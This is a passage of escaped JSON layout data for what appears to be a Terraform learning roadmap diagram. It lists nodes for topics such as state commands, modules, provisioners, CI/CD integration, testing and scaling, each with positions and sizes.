false,\n      \"style\": {\n        \"width\": 130,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uR6Vjm8cek9JRzZV0iTXh\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"rm\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"0xVXwjWPFXDGRw_3p6th6\"\n      },\n      \"position\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1324.8017074542047\n      },\n      \"width\": 104,\n      \"height\": 50,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1324.8017074542047\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 50\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"0xVXwjWPFXDGRw_3p6th6\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"mv\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"iE6NdThx-kEII7M6kWKYE\"\n      },\n      \"position\": {\n        \"x\": -371.0055726743278,\n        \"y\": 1324.8017074542047\n      },\n      \"width\": 130,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -371.0055726743278,\n        \"y\": 1324.8017074542047\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 130,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nx53xkJqovG-KCxZwihF1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -481.5504047782006,\n        \"y\": 1612.6185818911601\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic / Advanced Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -481.5504047782006,\n        \"y\": 1612.6185818911601\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"R2AORYmc1NgGTqLZY5Fu-\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Modules\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tB4zfwY4E3GmXo-XQwS-l\"\n      },\n      \"position\": {\n        \"x\": -110.4848179138105,\n        \"y\": 1311.1185818911601\n      },\n      \"width\": 121,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -110.4848179138105,\n        \"y\": 1311.1185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6W4_akHG9YtvN6dpbZnG-\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Root vs Child Modules\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"gTMPK0tfs2JYgoL7SAGW6\"\n      },\n      \"position\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1400.6185818911601\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1400.6185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AAg_iFggkEZNL12-6nkgK\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Published Modules Usage\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"gTMPK0tfs2JYgoL7SAGW6\"\n      },\n      \"position\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1453.6185818911601\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1453.6185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wQN1QrK9VB_fHlXrBzDoU\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Creating Local Modules\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"gTMPK0tfs2JYgoL7SAGW6\"\n      },\n      \"position\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1506.6185818911601\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1506.6185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NsBJTYH9KXvjJuhPzjE_L\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Inputs / Outputs\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"gTMPK0tfs2JYgoL7SAGW6\"\n      },\n      \"position\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1559.6185818911601\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1559.6185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gTMPK0tfs2JYgoL7SAGW6\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Modules Best Practices\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"0xVXwjWPFXDGRw_3p6th6\"\n      },\n      \"position\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1612.6185818911601\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -175.4848179138105,\n        \"y\": 1612.6185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6vs1VvjeILgAPLL6g7dfy\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Provisioners\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tB4zfwY4E3GmXo-XQwS-l\"\n      },\n      \"position\": {\n        \"x\": 130.7491819418687,\n        \"y\": 1313.1185818911601\n      },\n      \"width\": 138,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 130.7491819418687,\n        \"y\": 1313.1185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CmmoshFC1dKE4y3SMN2bl\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"When to Use?\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"6W4_akHG9YtvN6dpbZnG-\"\n      },\n      \"position\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1260.994946966457\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1260.994946966457\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CJfCpRN_oVf6n_EfLNJSV\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Creation / Destroy Time\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"AAg_iFggkEZNL12-6nkgK\"\n      },\n      \"position\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1314.994946966457\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1314.994946966457\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Qch8k6e4pS8OlmG_sI0hH\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"file provisioner\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"CJfCpRN_oVf6n_EfLNJSV\"\n      },\n      \"position\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1368.994946966457\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1368.994946966457\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g2F5-nX4Aw-xWZiypNbnL\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"local-exec provisioner\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Qch8k6e4pS8OlmG_sI0hH\"\n      },\n      \"position\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1422.994946966457\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1422.994946966457\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JQE3_KakBXZdMVP_pPFNS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"remote-exec provisioner\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"g2F5-nX4Aw-xWZiypNbnL\"\n      },\n      \"position\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1476.994946966457\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1476.994946966457\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HEr-BBxE3jRKTqRnguds1\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Custom Provisioners\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"JQE3_KakBXZdMVP_pPFNS\"\n      },\n      \"position\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1530.994946966457\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 371.2253434939207,\n        \"y\": 1530.994946966457\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"huXZz55P7kVJwTn5BS_Wk\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Data Sources\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tB4zfwY4E3GmXo-XQwS-l\"\n      },\n      \"position\": {\n        \"x\": 103.7491819418687,\n        \"y\": 1650.3182630381161\n      },\n      \"width\": 192,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 103.7491819418687,\n        \"y\": 1650.3182630381161\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tB4zfwY4E3GmXo-XQwS-l\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Template Files\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tAFbTp-BgquJindVG6Ukd\"\n      },\n      \"position\": {\n        \"x\": 391.2253434939207,\n        \"y\": 1650.3182630381161\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 391.2253434939207,\n        \"y\": 1650.3182630381161\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wSh7bbPswcFAzOicX8VPx\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"state pull / push\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"uR6Vjm8cek9JRzZV0iTXh\"\n      },\n      \"position\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1433.5845327398724\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1433.5845327398724\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Os6AOXp1CVI_Bh3NYnX17\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"state replace-provider\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"wSh7bbPswcFAzOicX8VPx\"\n      },\n      \"position\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1487.6185818911601\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1487.6185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Trpi2ZlnXZVYJCibE2bQ8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"state force-unlock\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Os6AOXp1CVI_Bh3NYnX17\"\n      },\n      \"position\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1540.6185818911601\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1540.6185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nFq-64JQoYAKjN9YkmOfO\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Workspaces\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tB4zfwY4E3GmXo-XQwS-l\"\n      },\n      \"position\": {\n        \"x\": 391.2253434939207,\n        \"y\": 1740.1440518001546\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 391.2253434939207,\n        \"y\": 1740.1440518001546\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O194eWh529jj4VDhKxNSj\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"CI / CD Integration\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"nFq-64JQoYAKjN9YkmOfO\"\n      },\n      \"position\": {\n        \"x\": 103.7491819418687,\n        \"y\": 1740.1440518001546\n      },\n      \"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 103.7491819418687,\n        \"y\": 1740.1440518001546\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"weIlGqGN15U8BH1yE9moA\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"wQN1QrK9VB_fHlXrBzDoU\"\n      },\n      \"position\": {\n        \"x\": -176.67021968822544,\n        \"y\": 1689.8098315747784\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -176.67021968822544,\n        \"y\": 1689.8098315747784\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6OoAdvikyp0byMH2oZhyQ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Circle CI\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"NsBJTYH9KXvjJuhPzjE_L\"\n      },\n      \"position\": {\n        \"x\": -176.67021968822544,\n        \"y\": 1742.8098315747784\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -176.67021968822544,\n        \"y\": 1742.8098315747784\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fH27mGrdnkDQCrGGDFU6p\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"GitLab CI\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"gTMPK0tfs2JYgoL7SAGW6\"\n      },\n      \"position\": {\n        \"x\": -176.67021968822544,\n        \"y\": 1795.8098315747784\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -176.67021968822544,\n        \"y\": 1795.8098315747784\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qFpaqOSoefTyKxmI-FRZt\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Jenkins\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"fH27mGrdnkDQCrGGDFU6p\"\n      },\n      \"position\": {\n        \"x\": -176.67021968822544,\n        \"y\": 1850.293045770098\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -176.67021968822544,\n        \"y\": 1850.293045770098\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QSftI21seX6I_xPonlfmU\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"O194eWh529jj4VDhKxNSj\"\n      },\n      \"position\": {\n        \"x\": 102.7491819418687,\n        \"y\": 1936.256462446644\n      },\n      \"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 102.7491819418687,\n        \"y\": 1936.256462446644\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V7_NnDIY1MefV_xjCCsnI\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Unit Testing\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"weIlGqGN15U8BH1yE9moA\"\n      },\n      \"position\": {\n        \"x\": 392.5412450366284,\n        \"y\": 1830.256462446644\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 392.5412450366284,\n        \"y\": 1830.256462446644\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bjozhkpOI9UjjNfmT5HhY\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Contract Testing\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"6OoAdvikyp0byMH2oZhyQ\"\n      },\n      \"position\": {\n        \"x\": 392.5412450366284,\n        \"y\": 1883.256462446644\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 392.5412450366284,\n        \"y\": 1883.256462446644\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ENkLj3z6hR2cKT7rBhYp5\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Integration Testing\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"fH27mGrdnkDQCrGGDFU6p\"\n      },\n      \"position\": {\n        \"x\": 392.5412450366284,\n        \"y\": 1936.256462446644\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 392.5412450366284,\n        \"y\": 1936.256462446644\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QqwlAtz7VfrMtNEGpT5Sa\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"End to End Testing\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"qFpaqOSoefTyKxmI-FRZt\"\n      },\n      \"position\": {\n        \"x\": 392.5412450366284,\n        \"y\": 1989.256462446644\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 392.5412450366284,\n        \"y\": 1989.256462446644\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H3_So6qX-s2131WHGR_GO\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Testing Modules\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"QqwlAtz7VfrMtNEGpT5Sa\"\n      },\n      \"position\": {\n        \"x\": 392.5412450366284,\n        \"y\": 2042.256462446644\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 392.5412450366284,\n        \"y\": 2042.256462446644\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Scaling Terraform\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"QSftI21seX6I_xPonlfmU\"\n      },\n      \"position\": {\n        \"x\": -180.4848179138105,\n        \"y\": 1936.256462446644\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -180.4848179138105,\n        \"y\": 1936.256462446644\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zCU02_5Pide5BZiuMuqEU\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Splitting Large State\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"weIlGqGN15U8BH1yE9moA\"\n      },\n      \"position\": {\n        \"x\": -490.26733623226676,\n        \"y\": 1759.9060085371989\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -490.26733623226676,\n        \"y\": 1759.9060085371989\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RtwZy60ruRpskmgr1qYYf\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Parallelism\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"q1I5X_UBGH9LyF7UKHl_u\"\n      },\n      \"position\": {\n        \"x\": -489.23643593653094,\n        \"y\": 1811.9060085371989\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -489.23643593653094,\n        \"y\": 1811.9060085371989\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wL3WWhjPEgFmumOmCPRDf\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Deployment Workflow\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"RtwZy60ruRpskmgr1qYYf\"\n      },\n      \"position\": {\n        \"x\": -489.23643593653094,\n        \"y\": 1863.9060085371989\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -489.23643593653094,\n        \"y\": 1863.9060085371989\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AEtW6j2GcfZz7IXk4sM6c\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Terragrunt\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"wL3WWhjPEgFmumOmCPRDf\"\n      },\n      \"position\": {\n        \"x\": -490.26733623226676,\n        \"y\": 1967.9060085371989\n      },\n      \"width\": 215,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -490.26733623226676,\n        \"y\": 